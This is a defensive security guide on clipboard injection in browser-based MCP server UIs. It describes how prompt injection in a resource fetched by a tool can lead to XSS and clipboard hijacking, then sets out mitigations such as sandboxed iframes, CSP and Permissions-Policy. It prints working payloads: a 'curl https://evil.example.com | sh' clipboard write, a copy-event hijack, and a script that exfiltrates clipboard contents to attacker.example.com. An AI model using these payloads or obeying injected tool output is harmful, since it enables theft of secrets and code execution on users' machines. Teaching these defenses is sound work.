MCP Server Security · Clipboard Injection
MCP server clipboard injection security — clipboard API abuse, clipboard poisoning via tool output, and Clipboard.readText() permission exploitation in browser-based MCP UIs
Clipboard injection occurs when an MCP server browser UI renders tool output that contains a payload which, through XSS or a crafted UI element, writes malicious content to the user's clipboard — replacing what the user intended to copy with a command chosen by the attacker. When the user pastes the copied content into a terminal, another application, or another tool call, the attacker's string executes instead of the expected one. In MCP browser UIs, this attack is particularly severe because users routinely copy code snippets and commands returned by agent tool calls.
The clipboard poisoning attack chain in MCP UIs
The canonical attack requires two conditions: a way to inject JavaScript into the MCP UI (typically via prompt injection in tool output that causes unsafe HTML rendering), and a "copy" button or keyboard shortcut that calls navigator.clipboard.writeText() with attacker-controlled content.
Step-by-step attack:
- Attacker places a prompt injection payload in an external resource (web page, file, API response) that an MCP tool will fetch.
- The MCP tool returns attacker-controlled content. If the UI renders LLM output as HTML (e.g., via
innerHTML), the attacker's payload executes. - The payload calls
navigator.clipboard.writeText('curl https://evil.example.com | sh')silently — the Clipboard API requires a user gesture in most browsers, but a click on any element (including a fake "copy" button rendered by the attacker's HTML) counts as a user gesture. - The developer, expecting a safe command in their clipboard, pastes into a terminal and executes the attacker's command.
Clipboard poisoning converts an XSS in an MCP UI into local code execution on the developer's machine. The attacker never needs to compromise the MCP server itself — they only need to control a resource that an MCP tool fetches, combined with unsafe HTML rendering of tool output in the UI.
The Clipboard.readText() exfiltration vector
The attack works in reverse too. navigator.clipboard.readText() requires the clipboard-read permission, which browsers prompt the user to grant. If an MCP UI has already been granted this permission (perhaps for a legitimate paste feature), and the UI renders attacker-controlled HTML, the injected script can silently read the clipboard and exfiltrate its contents — API keys, passwords, or secrets a developer just copied from their password manager.
// Malicious payload injected via tool output HTML rendering
// Executes when rendered as innerHTML in a privileged MCP UI
(async () => {
try {
const contents = await navigator.clipboard.readText();
// Exfiltrate clipboard contents to attacker's server
await fetch('https://attacker.example.com/exfil', {
method: 'POST',
body: JSON.stringify({ clipboard: contents, url: location.href }),
headers: { 'Content-Type': 'application/json' }
});
} catch (e) {
// Permission denied — silently fail, no trace for the victim
}
})();
Clipboard event hijacking
A subtler attack doesn't need to call the Clipboard API directly. Event listener injection can intercept the native copy/paste shortcuts:
// Injected via unsafe innerHTML rendering
document.addEventListener('copy', (e) => {
// Override what gets placed on clipboard when user presses Ctrl+C
e.clipboardData.setData('text/plain', 'curl https://evil.example.com | sh');
e.preventDefault(); // Suppress default copy behavior
}, true); // Capture phase — fires before any other copy handler
This attack works even when the Clipboard API is disabled or the user hasn't granted clipboard-write permission. The copy event always fires on Ctrl+C and is synchronous within the page, making it the most reliable clipboard hijack vector when the attacker can inject JavaScript.
Defense: preventing clipboard injection
| Defense | What it blocks | Implementation |
|---|---|---|
| Never render tool output as innerHTML | Eliminates the JavaScript injection prerequisite | Use textContent for text, DOMParser + allowlist for intentional HTML |
| Sandbox tool output in iframes (blob URL + sandbox="") | Sandboxed origin cannot call Clipboard API or add document-level event listeners | sandbox="allow-same-origin" is not set — no clipboard, no storage, no scripts |
| Strict CSP with nonce | Prevents inline script execution in the main document | script-src 'nonce-...' 'strict-dynamic' — injected scripts without nonce are blocked |
| Permissions-Policy: clipboard-read=(), clipboard-write=() | Disables Clipboard API access entirely for the document and all iframes | HTTP response header: Permissions-Policy: clipboard-read=(), clipboard-write=() |
| Implement copy buttons server-side with signed payloads | Copy button can only copy content from a server-signed allow-list | Each "copy" button includes a HMAC-signed expected value; verify before writing to clipboard |
The most practical defense is sandboxed iframes for tool output. Render all tool-produced HTML (code blocks, tables, rich output) in a blob URL iframe with sandbox="" — no allow-same-origin, no allow-scripts. The sandboxed iframe has a null origin and cannot access the Clipboard API, cannot attach event listeners to the parent document, and cannot communicate except via postMessage. This eliminates clipboard injection even if the content is attacker-controlled HTML.
Clipboard write restriction with Permissions-Policy
// Express middleware: disable Clipboard API for all responses
app.use((req, res, next) => {
// Restrict clipboard-read and clipboard-write to only same-origin top-level frames
res.setHeader(
'Permissions-Policy',
'clipboard-read=(self), clipboard-write=(self)'
);
// For maximum restriction (no copy buttons needed):
// 'clipboard-read=(), clipboard-write=()'
next();
});
Setting clipboard-write=(self) means only the top-level same-origin page can call navigator.clipboard.writeText() — cross-origin iframes and injected scripts from a different context cannot. Setting clipboard-write=() disables it entirely, which is appropriate if your MCP UI doesn't offer any "copy to clipboard" button feature.
SkillAudit findings for clipboard security in MCP server UIs
innerHTML or dangerouslySetInnerHTML with no sanitization — attacker-controlled HTML from tool results executes scripts that can call navigator.clipboard.writeText() or attach copy event listenersPermissions-Policy: clipboard-write=() header — Clipboard API available to any injected script in the MCP UI document without additional permission prompts in privileged contextsallow-same-origin — sandboxed origin inherits parent's Clipboard API permissions, allowing injected scripts in tool output to write to clipboardSee also: MCP Server CSP Deep Dive · Prompt Injection · Tool Output Encoding